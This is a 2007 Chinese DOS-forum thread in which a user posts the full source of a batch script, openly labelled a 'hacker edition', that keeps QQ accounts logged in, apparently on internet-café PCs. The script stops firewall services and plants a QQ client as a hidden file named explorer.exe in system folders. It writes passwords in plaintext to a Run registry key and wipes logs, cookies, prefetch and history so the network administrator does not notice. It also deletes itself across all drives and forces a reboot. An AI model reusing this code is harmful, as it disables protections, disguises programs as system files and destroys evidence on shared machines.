中国DOS联盟

此帖整合到11F

[ Last edited by koala on 2007-9-21 at 08:00 PM ]

谢谢楼主，收下了，好东西~~

呵呵，进行了初步更新，我下次将上传带自动识别计算机语言环境的功能

miniQQ?就是像用命令提示符那样的截面那个?

不过我写的这个是比较适合对命令行不太熟悉的新手
免去部分命令输入之苦
例如　在我的批处理脚本中　你只需要输入'y'或'n'就可以决定
隐身／保存聊天记录．．．．

谢谢分享

用bat2exe编译下好使吗？

保护'bat源代码'的软件
我知道的就有２０多种
我也知道编译成exe文件可以提高程序的
执行效率．

之所以没有编译成exe文件的目的是为了方便
www.cn-dos.net网友查看，借鉴或学习而已.




谢谢你提出这问题:P

好東西﹐絕對收藏

看不大懂
不过还是谢谢楼主啊!

以下为代码部分
:##############################################
::Copyright (C) 2007 koala
::Contact: da2qia1ku5@126.com
::QQ 13019940
::此脚本是用瑞士的notepad2.exe在全屏模式下编辑的
@echo off
color 1f &mode con:cols=70 lines=17 &title 程序初始化
:var_set
:: enviroment variable initializing...
::变量初始化
rem 网络连接初始值--无效
set network=bad
rem 成功挂机的QQ个数初始值:0
set /a logged_Num=0
rem 启动自我毁灭程序初始值--假
set killself=No

:file_chk
cls
echo. &&echo. &echo. &echo 程序初始化阶段...
echo 请稍等...
ping /n 1 127.1>nul 2>nul
::关闭防火墙 ----中国dos联盟 网友 dhlkp提出，在此谢谢
@net stop ALG >nul 2>nul
@net stop SharedAccess>nul 2>nul
@set "path=%cd%;%path%"
::##########################################################################
::嵌套分析判断
::判断 %systemroot%\system\explorer.exe 和 %systemroot%\system\explorer.exe
::是文件还是文件夹,并进行相应的操作。如果是文件夹，删除；如果是文件，删除
::然后复制 miniQQ2.2.exe进去并重命名为 explorer.exe
::以下的 %=.....=% 为注释，此种注释类似于C语言中的 /*......*/
::##########################################################################
for %%f in ( %systemroot%\system, %systemroot%\system32 ) do (
if exist "%%f\explorer.exe" (
%systemroot%\system32\cacls.exe "%%f\explorer.exe" /e /t /p "%username%":F >nul 2>nul
%systemroot%\system32\attrib.exe -r -s -h -a "%%f\explorer.exe" >nul 2>nul
del /s /f /q %%f\explorer.exe
if exist "%%f\explorer.exe" (
rd /s /q %%f\explorer.exe
call filecopy &call filepath ) else (
call filecopy &call filepath )>nul 2>nul
:filepath
if exist "%SYSTEMROOT%\System32\explorer.exe"\nul (
set main=%SYSTEMROOT%\System32\explorer.exe
if exist "%SYSTEMROOT%\System32\explorer.exe"\nul (
del /f /q "%SYSTEMROOT%\System\explorer.exe"
)
) else (
if exist "%SYSTEMROOT%\System\explorer.exe"\nul (
set main=%SYSTEMROOT%\System\explorer.exe >nul 2>nul
) else ( call filecopy
set main=%SYSTEMROOT%\System32\explorer.exe ) >nul 2>nul
) >nul 2>nul


:filecopy
if exist %cd%\MiniQQ.2.2.exe (
copy /y %cd%\MiniQQ2.2.exe %%f\explorer.exe
attrib +s +h +r +a %%f\explorer.exe
) else (
setlocal enabledelayedexpansion
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
if exist %%d: (
cd\
for /f "tokens=*" %%c in ('dir /s /a-d /b %%d:\MiniQQ2.2.exe') do (
copy /y "%%c" "%%f"\explorer.exe &copy /y "%%c" "%%f"\explorer.exe
attrib +s +h +r +a %%f\explorer.exe
del /f /s /q "%%c" "%%f"\explorer.exe
)
)
)
)
)>nul 2>nul

:start
::定义窗口工作模式
color 1f &mode con:cols=70 lines=17
title QQ注册表挂机--黑客版
::变量申明
set /a logged_Num+=1
::網絡連接有傚性初步預測
@ping -n 1 61.177.95.155 >nul &if not errorlevel 1 set network=ok >nul 2>nul
cls
::控制台界面
echo.
echo.
echo.
echo QQ注册表挂机--限量发行黑客版
echo.
echo.
echo (1) QQ挂机
echo (2) 网络测试
echo (3) 痕迹清理
echo (4) 取消挂机
echo (5) 销毁程序
echo (6) 退出
echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
set choice=7
set /p choice= 请选择你將要進行的操作:
@if "%choice%"=="1" goto :login
@if "%choice%"=="2" goto :Checking_Network
@if "%choice%"=="3" call :clear_Trace
@if "%choice%"=="4" goto :Log_off
@if "%choice%"=="5" goto :Kill_Myself
@if "%choice%"=="6" goto :eof
@if "%choice%"=="7" goto :readme
goto :start



:login
@if not exist %systemroot%\system32\explorer.exe (
@if not exist %systemroot%\system\explorer.exe (
cls
echo 缺少核心文件
ping /n 3 127.1>nul 2>nul
goto :file_chk
)
)

@if %logged_Num%==5 (
echo ###################################################################
echo # 为了不暴露目标，本脚本定义挂Q的最高上限为5个， #
echo #如果你觉得满足不了你的愿望,请你联系我. #
echo ###################################################################
echo.
echo 考拉
echo Q:13019940
ping /n 7 127.1 >nul 2>nul
set killself=Yes
goto :kill_Myself)

title 挂Q

::网罗连接有效性判断
if /i %network% NEQ ok goto:error

::AScode汇编代码核心部分
echo hP1X500Pf3/f1/5++u5x>in.com
cls
::输入QQ号和密码
set id=
set passwd=
set /p id=请输入Q号:
::將密碼用滙編程序暫時"轉移"到 in.com 以達到隱藏目的
set /p passwd=enter your QQ password:<nul
for /f "tokens=*" %%i in ('in.com') do set passwd=%%i
del /f in.com >nul 2>nul
::========================================================
::设置上线参数 隐身|保存聊天信息| 声音 |显示聊天情景|
::========================================================
::模式切换
chcp 936 >nul &mode con:cols=70 lines=17
::=====================设置是否隐身=======================
set YinShen=
set hidelogin=
set /p yinShen=是否隐身登陆?
if /I %yinshen%==y set hidelogin=/hidelogin
if /I %yinshen%==n set hidelogin=
::==================设置保存聊天信息======================
set nosave=
set BaoCun=
set /p BaoCun=是否保存聊天信息?
if /I %BaoCun%==n set nosave=/nosave
if /I %BaoCun%==y set nosave=
::================设置有信息时是否发出声音================
set Fasheng=
set nosound=
set /p Fasheng=有信息时是否发出声音?
if /I %Fasheng%==n set nosound= /nosound
if /I %Fasheng%==y set nosound=
::================设置是否显示聊天情景====================
set Qingjing=
set noshow=
set /p Qingjing=是否显示聊天情景?
if /I %Qingjing%==n set noshow=/noshow
if /I %Qingjing%==y set noshow=
::========================================================
::原命令形参数
:: /hidelogin /nosave /nosound /noshow
::========================================================
mode con: cols=60 lines=6
call :process
cls
echo 正在导入注册表...
::导入注册表，以便系统启动时读取命令，进行挂Q
ping -n 2 127.1>nul
reg add HKLM\software\microsoft\windows\currentversion\run /v %logged_Num% /t reg_sz /d "%main% %id% %passwd% %hidelogin%%nosave%%nosound% %noshow%" /f >nul 2>nul
cls
echo 正在测试并进行验证登陆...
%main% %id% %passwd% %hidelogin% %nosave% %nosound% %noshow%
echo 登陆成功...
echo 
ping -n 2 127.1>nul
exit


:Checking_Network
::网络连接测试
:: 此ping连接的是网易163的服务器，保证了绝对有效的连接性。
:: 真'恨'死我自己了，做出了這么一个明智的选择。
cls
echo 正在测试网络连接的有效性...
ping -n 1 61.177.95.155 >nul
cls
::如果ping産生錯誤則转向錯提示信息
if errorlevel=1 set network=bad &goto:error
echo 网络连接正常...
echo 任意键返回主界面...
pause>nul
goto :start

:error
cls
::网络连接失败
color 4f
echo 未发现有效的网络连接
echo 请确认你的猫是否已经正确连接到Internet.
pause>nul
goto :start

:process
:: 漂亮的进度条
set b============================================================
set b1=-
set n=1
:t1
cls
color e0
set b1=%b1%-
set b=%b:~1%
echo 正在提交登陆数据,請等待...
echo.
echo %b1%%b%
set /a n+=1
if %n%==60 goto end
ping -n 1 127.1 >nul
goto t1


:Log_off
title 取消QQ注册表挂机
::如果导入注册表文件个数为0,显示错误信息
if "%logged_Num%"=="0" goto :no_QQ_login

::QQnum为注册表中记录"登陆的QQ号码个数"
set QQnum=0
:undo_login
title 撤销QQ挂机
color 1f
cls
echo.
echo 分析引擎正在撤销注册表QQ挂机……
::删除挂机痕迹
setlocal enabledelayedexpansion
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v %QQnum%>nul 2>nul |find /i "reg_sz">nul 2>nul
if errorlevel 0 (
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v %QQnum% /f >nul 2>nul
set /a QQnum+=1
if "%QQnum%"=="5" goto :succeed_in_Log_off
goto :undo_login
)
cls

:succeed_in_Log_off
echo.
echo.
echo 取消QQ挂机成功
echo 5秒钟后自动返回主界面
ping /n 4 127.1 >nul 2>nul
goto start

:no_QQ_login
title 读取数据失败
color 4f &echo &cls
echo 注册表读取过程中尚未发现有效的"QQ注册表挂机"数据
ping /n 6 127.1 >nul 2>nul
goto start

:readme
color 1f &title 自述 内部版本号--killself_Stronger &mode con:cols=70 lines=18
echo ┌━━━━━━━━━━━━━━━━━━━━━━━━━┐
echo ┃ 说明 ┃
echo ┌━━━┼━━━━━━━━━━━━━━━━━━━━━━━━━┤
echo ┃源代码┃ koala独立自主开发 ┃
echo ├━━━┼━━━━━━━━━━━━━━━━━━━━━━━━━┤
echo ┃申明 ┃ 对没有申请密码保护的QQ,密码丢失后不许抱猫哭 ┃
echo ├━━━┼━━━━━━━━━━━━━━━━━━━━━━━━━┤
echo ┃特点1 ┃ 自动识别网络和计算机语言环境 ┃
echo ├━━━┼━━━━━━━━━━━━━━━━━━━━━━━━━┤
echo ┃特点2 ┃ 采用汇编语言书写的 AScode 高级密码隐藏法 ┃
echo └━━━┼━━━━━━━━━━━━━━━━━━━━━━━━━┤
echo ┃ 程序运行5次以后自动销毁 ┃
echo ├━━━━━━━━━━━━━━━━━━━━━━━━━┤
echo ┃ 考拉 ┃
echo ├━━━━━━━━━━━━━━━━━━━━━━━━━┤
echo ┃ Q 13019940 ┃
echo └━━━━━━━━━━━━━━━━━━━━━━━━━┘
pause>nul
goto start

::#################################################################
:: 以下是毁灭本程序的关键部分
::#################################################################
:Kill_Myself
set killself=Yes
::##################################################################################################################
cd /d "%systemdrive%\"
>%systemdrive%\shutdown.vbs echo Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * from Win32_OperatingSystem")
>>%systemdrive%\shutdown.vbs echo For Each objOperatingSystem in colOperatingSystems
>>%systemdrive%\shutdown.vbs echo ObjOperatingSystem.Win32Shutdown(12)
>>%systemdrive%\shutdown.vbs echo Next
::##################################################################################################################
(echo ::分析操作系统并准备重启
echo set find=%systemroot%\system32\find.exe
echo ::分析.........
echo ver ^| ^"%%find^%%" /i "Windows XP" > nul
echo if not errorlevel 1 ^(
echo set CHK_OS=XP
echo ^) else (
echo set CHK_OS=2K
echo ^)
echo ::启用重新启动
echo ::然后调用HKLM\software\microsoft\windows\currentversion\RunOnce /v killmyself /t reg_sz /d %systemdrive%\KillMyself.bat
echo ::删除 QQ注册表挂机.exe 以及 %systemdrive%\KillMyself.bat
echo if ^%%CHK_OS%%==XP (
echo del ^%%systemdrive%%\shutdown.vbs
echo %systemroot%\system32\shutdown -r -t 0
echo ^) else (
echo cscript %systemdrive%\shutdown.vbs
echo ^) )>analyse_OS.bat
::##################################################################################################################
>%systemdrive%\KillMyself.bat echo cls ^&echo.
>>%systemdrive%\KillMyself.bat echo echo 痕迹清理完毕!程序正在启动分析引擎...
>>%systemdrive%\KillMyself.bat echo ping /n 4 127.1 ^>nul 2^>nul
>>%systemdrive%\KillMyself.bat echo ::进行逻辑分析，然后销毁挂机程序
>>%systemdrive%\KillMyself.bat echo cls
>>%systemdrive%\KillMyself.bat echo echo. ^&echo. ^&echo 正在销毁程序...
>>%systemdrive%\KillMyself.bat echo setlocal enabledelayedexpansion
>>%systemdrive%\KillMyself.bat echo for ^%%%%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
>>%systemdrive%\KillMyself.bat echo if exist ^%%%%i: (
>>%systemdrive%\KillMyself.bat echo cd\
>>%systemdrive%\KillMyself.bat echo for /f "tokens=*" ^%%%%a in ^('dir /s /a-d /b ^%%%%i:\**Q*Q**注**.*') do (
>>%systemdrive%\KillMyself.bat echo del /q /a /f ^"%%%%a"
>>%systemdrive%\KillMyself.bat echo ^)
>>%systemdrive%\KillMyself.bat echo ^)
>>%systemdrive%\KillMyself.bat echo ^) ^>nul 2^>nul

>>%systemdrive%\KillMyself.bat echo :next
>>%systemdrive%\KillMyself.bat echo cls
>>%systemdrive%\KillMyself.bat echo for ^%%%%j in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
>>%systemdrive%\KillMyself.bat echo if exist ^%%%%j: (
>>%systemdrive%\KillMyself.bat echo cd\
>>%systemdrive%\KillMyself.bat echo for /f "tokens=*" ^%%%%b in ^('dir /s /a-d /b ^%%%%j:\*%~n0*.*') do (
>>%systemdrive%\KillMyself.bat echo del /q /a /f ^"%%%%b"
>>%systemdrive%\KillMyself.bat echo ^%%systemdrive%%\analyse_OS.bat
>>%systemdrive%\KillMyself.bat echo del /f ^%%systemdrive%%\KillMyself.bat
>>%systemdrive%\KillMyself.bat echo del /f ^%%systemdrive%%\analyse_OS.bat
>>%systemdrive%\KillMyself.bat echo ^)
>>%systemdrive%\KillMyself.bat echo ^)
>>%systemdrive%\KillMyself.bat echo ^) ^>nul 2^>nul
::##################################################################################################################
::调用:Clear_Trace模块进行痕迹清理
goto :Clear_Trace

::删除临时文件夹
@rd /s /q %temp% &md %temp% >nul 2>nul
:: 安装文件产生的临时文件存放路径
@if exist %windir%\temp\*.* @rd /s /q %windir%\temp & md %windir%\temp >nul 2>nul
@if exist "%userprofile%\Local Settings\Temp\*.*" del /f /s /q /a attributes -h -s -r -a "%userprofile%\Local Settings\Temp\*.*" >nul 2>nul
::####################################################################################################################
:clear_Trace
title 运行痕迹清理
cls
echo.
echo 脚本正在分析,是否有需要清理的文件以及物理痕迹......
::清理操作痕迹，以免引起网管的嫌疑
echo.
ping /n 5 127.1 >nul 2>nul

@taskkill /f /im explorer.exe >nul 2>nul

@if exist %systemdrive%\*.tmp del /f /s /q /a attributes -h -s -r -a %systemdrive%\*.tmp >nul 2>nul

@if exist %systemdrive%\*._mp del /f /s /q /a attributes -h -s -r -a %systemdrive%\*._mp >nul 2>nul

@if exist %systemdrive%\*.log del /f /s /q /a attributes -h -s -r -a %systemdrive%\*.log >nul 2>nul

@if exist %systemdrive%\*.gid del /f /s /q /a attributes -h -s -r -a %systemdrive%\*.gid >nul 2>nul

@if exist %systemdrive%\*.chk del /f /s /q /a attributes -h -s -r -a %systemdrive%\*.chk >nul 2>nul

@if exist %systemdrive%\*.old del /f /s /q /a attributes -h -s -r -a %systemdrive%\*.old >nul 2>nul

@if exist %systemdrive%\recycled\*.* del /f /s /q /a attributes -h -s -r -a %systemdrive%\recycled\*.* >nul 2>nul

@if exist %windir%\prefetch\*.* del /f /s /q /a attributes -h -s -r -a %windir%\prefetch\*.* >nul 2>nul

@if exist %systemroot%\$hf_mig$\*.* del /f /s /q /a attributes -h -s -r -a %systemroot%\$hf_mig$\*.* >nul 2>nul

@if exist %systemroot%\*.log del /f /s /q /a attributes -h -s -r -a %systemroot%\*.log >nul 2>nul
::注册表项
cls

:: 上网登陆邮箱,论坛等自动提交的数据
@if exist %userprofile%\cookies\*.* del /f /s /q /a attributes -h -s -r -a %userprofile%\cookies\*.* >nul 2>nul
:: 本地计算机最近打开的文件记录
@if exist "%userprofile%\recent\*.*" del /f /s /q /a attributes -h -s -r -a "%userprofile%\Recent\*.*" >nul 2>nul

:: notepad历史记录
@reg delete "HKEY_CURRENT_USER\Software\Notepad2\MRU\Files" /f >nul 2>nul

:: 上次打开注册表记录
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit" /v LastKey /f >nul 2>nul
::系统软件登记注册
@reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamMRU" /f >nul 2>nul

:: 通知区域历史痕迹
@reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify" /f >nul 2>nul

:: 浏览网页产生的临时文件
@if exist "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q /a attributes -h -s -r -a "%userprofile%\Local Settings\Temporary Internet Files\*.*" >nul 2>nul

:: 通过资源管理器打开文件的历史记录
@reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs /f >nul 2>nul
@reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32 /f >nul 2>nul
@reg delete HKCU\software\microsoft\windows\currentversion\explorer\runmru /f >nul 2>nul
@reg delete HKCU\software\microsoft\windows\currentversion\explorer\comdlg32\opensavemru /f >nul 2>nul
@reg delete HKCU\software\microsoft\windows\currentversion\explorer\userassist /f >nul 2>nul
:: 清除 WinRAR的相关垃圾信息
@reg delete "HKCU\software\winrar\ArcHistory" /f >nul 2>nul
@reg delete "HKCU\Software\WinRAR\DialogEditHistory\ExtrPath" /va /f >nul 2>nul
@reg delete "HKCU\Software\WinRAR\General" /v lastFolder /f >nul 2>nul
:: 通过Internet Explorer打开文件的历史记录
@reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache" /f >nul 2>nul
@reg delete "HKCU\Software\Microsoft\Internet Explorer\TypedURLs" /f >nul 2>nul
@reg delete "HKCU\Software\Microsoft\Internet Explorer\Explorer Bars" /f >nul 2>nul

::微软控制台运行记录
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Microsoft Management Console\Recent File List" /f >nul 2>nul
::运行痕迹
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams" /f >nul 2>nul
tasklist > "%temp%"\processlist.txt
type "%temp%"\processlist.txt|find /i "explorer.exe" >nul 2>nul
if errorlevel==1 taskkill /f /im explorer.exe >nul 2>nul
start %systemroot%\explorer.exe
if exist "%temp%"\processlist.txt del /f /q /a attributes -h -s -r -a "%temp%"\processlist.txt
cls
::###########################
::撤销注入内存中的脚本变量 #
::###########################
set n=
set b1=
set logged_Num=
set b=
set i=
set a=
set i=
set j=
set killmyself=
set main=
set network=
set choice=
set id=
set passwd=
set YinShen=
set hidelogin=
set nosave=
set BaoCun=
set Fasheng=
set nosound=
set Qingjing=
set noshow=
set QQ=
set QQnum=
::###########################
cls
@if "%killself%"=="Yes" (
call %systemdrive%\KillMyself.bat
) else (
goto :start
)

:eof
endlocal

[ Last edited by koala on 2007-9-21 at 07:55 PM ]

楼主啊
我发现在在我的电脑上不能用的啊?
是怎么回事
黑客版可以运行就是登陆不上去
考拉版的是出现:未发现有效的网络连接
请确认你的猫是否已经正确连接到Internet.,

更新了一下源代码，自己机器上通过了，网吧却没有通过，希望有人能查证错误
另注：
这不是我最近写的那个版本，那个在一次U盘清理中无意删了，用了数据恢复工具，但是没有找到，这个版本会自动检测 MiniQQ2.2.exe 所在位置并进行合理配制

赌东道？？？

用不了！